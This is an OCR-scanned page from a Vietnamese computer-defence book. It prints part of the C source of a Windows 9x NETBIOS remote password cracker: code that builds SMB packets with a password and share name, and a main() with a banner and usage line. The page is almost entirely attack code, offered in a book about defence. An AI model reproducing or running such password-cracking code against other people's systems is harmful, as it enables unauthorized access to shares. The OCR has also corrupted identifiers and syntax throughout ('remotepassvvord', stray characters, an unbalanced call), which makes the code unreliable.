Page 121 - Hướng Dẫn Cách Phòng Thủ Và Khắc Phục Sự Cố Máy Tính
P. 121
strlen (remotepassvvord));
memcpy («&smb_packet [47+strlen (remotepassword)],
remoteshare, strlen (remoteshare));
smb_packet [48+strlen (remotepassxvord) + strlen
(remoteshare)
]='\x41’;
smb_packet [49+strlen (remotepassword) + strlen
(rcmoteshare)
]='\x3A';
// calculate and add length
smb_packet [3]=strlen (remotepassvvord) + strlen
(remoteshare) + 47;
}
int main (int argc, char *argv [])
Ị
(
int sock, i, len=l, done=0;
struct sockaddr_in sin;
struct hostent *hp;
printf ("\nMicrosoft Windows 9x NETBIOS remote
passvvord
cracker. Written by Melih SARICAAnE-Mail:
melihsar@yahoo.com, msarica@bilgiteks.com\n");
printf ("I take no responsibility for what you do with
this software.\nPlease test your own System
only.\n\n");
if (argc!=3)
{
printf ("usage:%s hostname remoteshareXn", argv [0];
122